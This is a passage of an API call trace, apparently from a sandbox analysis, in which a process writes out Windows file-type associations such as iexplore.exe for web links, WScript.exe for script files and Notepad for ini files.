lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x4a, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x4a, lpOverlapped=0x0) returned 1 [0100.731] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="http=\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" -nohome\r\n") returned 70 [0100.731] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.731] GetFileType (hFile=0x5c) returned 0x3 [0100.731] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.731] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="http=\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" -nohome\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http=\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" -nohome\r\n", lpUsedDefaultChar=0x0) returned 71 [0100.731] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x46, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x46, lpOverlapped=0x0) returned 1 [0100.732] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="https=\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" -nohome\r\n") returned 71 [0100.732] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.732] GetFileType (hFile=0x5c) returned 0x3 [0100.732] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.732] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="https=\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" -nohome\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="https=\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" -nohome\r\n", lpUsedDefaultChar=0x0) returned 72 [0100.732] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x47, lpOverlapped=0x0) returned 1 [0100.733] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="icofile=%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1\r\n") returned 123 [0100.733] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.733] GetFileType (hFile=0x5c) returned 0x3 [0100.733] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.733] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="icofile=%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="icofile=%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1\r\n", lpUsedDefaultChar=0x0) returned 124 [0100.733] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x7b, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x7b, lpOverlapped=0x0) returned 1 [0100.733] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="IE.AssocFile.HTM=\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" -nohome\r\n") returned 82 [0100.733] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.733] GetFileType (hFile=0x5c) returned 0x3 [0100.733] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.733] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="IE.AssocFile.HTM=\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" -nohome\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IE.AssocFile.HTM=\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" -nohome\r\n", lpUsedDefaultChar=0x0) returned 83 [0100.734] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x52, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x52, lpOverlapped=0x0) returned 1 [0100.734] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="IE.AssocFile.MHT=\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" -nohome\r\n") returned 82 [0100.734] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.734] GetFileType (hFile=0x5c) returned 0x3 [0100.734] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.734] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="IE.AssocFile.MHT=\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" -nohome\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IE.AssocFile.MHT=\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" -nohome\r\n", lpUsedDefaultChar=0x0) returned 83 [0100.734] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x52, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x52, lpOverlapped=0x0) returned 1 [0100.734] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="IE.AssocFile.URL=\"C:\\Windows\\System32\\rundll32.exe\" \"C:\\Windows\\System32\\ieframe.dll\",OpenURL %l\r\n") returned 98 [0100.734] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.734] GetFileType (hFile=0x5c) returned 0x3 [0100.734] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.734] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="IE.AssocFile.URL=\"C:\\Windows\\System32\\rundll32.exe\" \"C:\\Windows\\System32\\ieframe.dll\",OpenURL %l\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IE.AssocFile.URL=\"C:\\Windows\\System32\\rundll32.exe\" \"C:\\Windows\\System32\\ieframe.dll\",OpenURL %l\r\n", lpUsedDefaultChar=0x0) returned 99 [0100.734] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x62, lpOverlapped=0x0) returned 1 [0100.734] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="IE.FTP=\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" %1\r\n") returned 67 [0100.735] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.735] GetFileType (hFile=0x5c) returned 0x3 [0100.735] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.735] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="IE.FTP=\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" %1\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IE.FTP=\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" %1\r\n", lpUsedDefaultChar=0x0) returned 68 [0100.735] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x43, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x43, lpOverlapped=0x0) returned 1 [0100.735] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="IE.HTTP=\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" -nohome\r\n") returned 73 [0100.735] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.735] GetFileType (hFile=0x5c) returned 0x3 [0100.735] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.735] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="IE.HTTP=\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" -nohome\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IE.HTTP=\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" -nohome\r\n", lpUsedDefaultChar=0x0) returned 74 [0100.735] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x49, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x49, lpOverlapped=0x0) returned 1 [0100.735] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="IE.HTTPS=\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" -nohome\r\n") returned 74 [0100.735] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.735] GetFileType (hFile=0x5c) returned 0x3 [0100.735] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.735] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="IE.HTTPS=\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" -nohome\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IE.HTTPS=\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" -nohome\r\n", lpUsedDefaultChar=0x0) returned 75 [0100.735] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x4a, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x4a, lpOverlapped=0x0) returned 1 [0100.736] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="im=C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"\r\n") returned 66 [0100.736] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.736] GetFileType (hFile=0x5c) returned 0x3 [0100.736] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.736] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="im=C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="im=C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 67 [0100.736] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x42, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x42, lpOverlapped=0x0) returned 1 [0100.737] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="inffile=%SystemRoot%\\system32\\NOTEPAD.EXE %1\r\n") returned 46 [0100.737] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.738] GetFileType (hFile=0x5c) returned 0x3 [0100.738] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.738] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="inffile=%SystemRoot%\\system32\\NOTEPAD.EXE %1\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="inffile=%SystemRoot%\\system32\\NOTEPAD.EXE %1\r\n", lpUsedDefaultChar=0x0) returned 47 [0100.738] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x2e, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x2e, lpOverlapped=0x0) returned 1 [0100.738] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="inifile=%SystemRoot%\\system32\\NOTEPAD.EXE %1\r\n") returned 46 [0100.738] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.738] GetFileType (hFile=0x5c) returned 0x3 [0100.738] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.738] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="inifile=%SystemRoot%\\system32\\NOTEPAD.EXE %1\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="inifile=%SystemRoot%\\system32\\NOTEPAD.EXE %1\r\n", lpUsedDefaultChar=0x0) returned 47 [0100.738] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x2e, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x2e, lpOverlapped=0x0) returned 1 [0100.738] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="InternetShortcut=\"C:\\Windows\\System32\\rundll32.exe\" \"C:\\Windows\\System32\\ieframe.dll\",OpenURL %l\r\n") returned 98 [0100.738] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.739] GetFileType (hFile=0x5c) returned 0x3 [0100.739] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.739] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InternetShortcut=\"C:\\Windows\\System32\\rundll32.exe\" \"C:\\Windows\\System32\\ieframe.dll\",OpenURL %l\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InternetShortcut=\"C:\\Windows\\System32\\rundll32.exe\" \"C:\\Windows\\System32\\ieframe.dll\",OpenURL %l\r\n", lpUsedDefaultChar=0x0) returned 99 [0100.739] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x62, lpOverlapped=0x0) returned 1 [0100.739] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="iqyfile=C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE \"%1\"\r\n") returned 72 [0100.739] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.739] GetFileType (hFile=0x5c) returned 0x3 [0100.739] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.739] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="iqyfile=C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iqyfile=C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 73 [0100.739] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x48, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x48, lpOverlapped=0x0) returned 1 [0100.740] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="jarfile=\"C:\\Program Files (x86)\\Java\\jre7\\bin\\javaw.exe\" -jar \"%1\" %*\r\n") returned 71 [0100.740] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.740] GetFileType (hFile=0x5c) returned 0x3 [0100.740] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.740] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="jarfile=\"C:\\Program Files (x86)\\Java\\jre7\\bin\\javaw.exe\" -jar \"%1\" %*\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jarfile=\"C:\\Program Files (x86)\\Java\\jre7\\bin\\javaw.exe\" -jar \"%1\" %*\r\n", lpUsedDefaultChar=0x0) returned 72 [0100.740] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x47, lpOverlapped=0x0) returned 1 [0100.740] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="JNLPFile=\"C:\\Program Files (x86)\\Java\\jre7\\bin\\javaws.exe\" \"%1\"\r\n") returned 65 [0100.740] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.740] GetFileType (hFile=0x5c) returned 0x3 [0100.740] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.740] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="JNLPFile=\"C:\\Program Files (x86)\\Java\\jre7\\bin\\javaws.exe\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="JNLPFile=\"C:\\Program Files (x86)\\Java\\jre7\\bin\\javaws.exe\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 66 [0100.740] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x41, lpOverlapped=0x0) returned 1 [0100.740] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="jntfile=\"%ProgramFiles%\\Windows Journal\\Journal.exe\" \"%1\"\r\n") returned 59 [0100.741] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.741] GetFileType (hFile=0x5c) returned 0x3 [0100.741] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.741] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="jntfile=\"%ProgramFiles%\\Windows Journal\\Journal.exe\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jntfile=\"%ProgramFiles%\\Windows Journal\\Journal.exe\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 60 [0100.741] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x3b, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x3b, lpOverlapped=0x0) returned 1 [0100.741] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="jpegfile=%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1\r\n") returned 124 [0100.741] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.741] GetFileType (hFile=0x5c) returned 0x3 [0100.741] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.741] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="jpegfile=%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jpegfile=%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1\r\n", lpUsedDefaultChar=0x0) returned 125 [0100.741] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x7c, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x7c, lpOverlapped=0x0) returned 1 [0100.741] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="JSEFile=C:\\Windows\\System32\\WScript.exe \"%1\" %*\r\n") returned 49 [0100.742] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.742] GetFileType (hFile=0x5c) returned 0x3 [0100.742] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.742] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="JSEFile=C:\\Windows\\System32\\WScript.exe \"%1\" %*\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="JSEFile=C:\\Windows\\System32\\WScript.exe \"%1\" %*\r\n", lpUsedDefaultChar=0x0) returned 50 [0100.742] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x31, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x31, lpOverlapped=0x0) returned 1 [0100.742] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="JSFile=C:\\Windows\\System32\\WScript.exe \"%1\" %*\r\n") returned 48 [0100.742] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.742] GetFileType (hFile=0x5c) returned 0x3 [0100.742] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.742] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="JSFile=C:\\Windows\\System32\\WScript.exe \"%1\" %*\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="JSFile=C:\\Windows\\System32\\WScript.exe \"%1\" %*\r\n", lpUsedDefaultChar=0x0) returned 49 [0100.742] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x30, lpOverlapped=0x0) returned 1 [0100.742] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="jtpfile=\"%ProgramFiles%\\Windows Journal\\Journal.exe\" \"%1\"\r\n") returned 59 [0100.742] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.742] GetFileType (hFile=0x5c) returned 0x3 [0100.742] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.742] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="jtpfile=\"%ProgramFiles%\\Windows Journal\\Journal.exe\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jtpfile=\"%ProgramFiles%\\Windows Journal\\Journal.exe\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 60 [0100.742] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x3b, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x3b, lpOverlapped=0x0) returned 1 [0100.743] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="LDAP=\"%ProgramFiles%\\Windows Mail\\wab.exe\" \"/ldap:%1\"\r\n") returned 55 [0100.743] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.743] GetFileType (hFile=0x5c) returned 0x3 [0100.743] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.743] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="LDAP=\"%ProgramFiles%\\Windows Mail\\wab.exe\" \"/ldap:%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LDAP=\"%ProgramFiles%\\Windows Mail\\wab.exe\" \"/ldap:%1\"\r\n", lpUsedDefaultChar=0x0) returned 56 [0100.743] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x37, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x37, lpOverlapped=0x0) returned 1 [0100.751] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Lync15=C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"\r\n") returned 70 [0100.751] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.751] GetFileType (hFile=0x5c) returned 0x3 [0100.751] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.752] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Lync15=C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Lync15=C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 71 [0100.752] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x46, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x46, lpOverlapped=0x0) returned 1 [0100.752] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Lync15classic=C:\\Program Files\\Microsoft 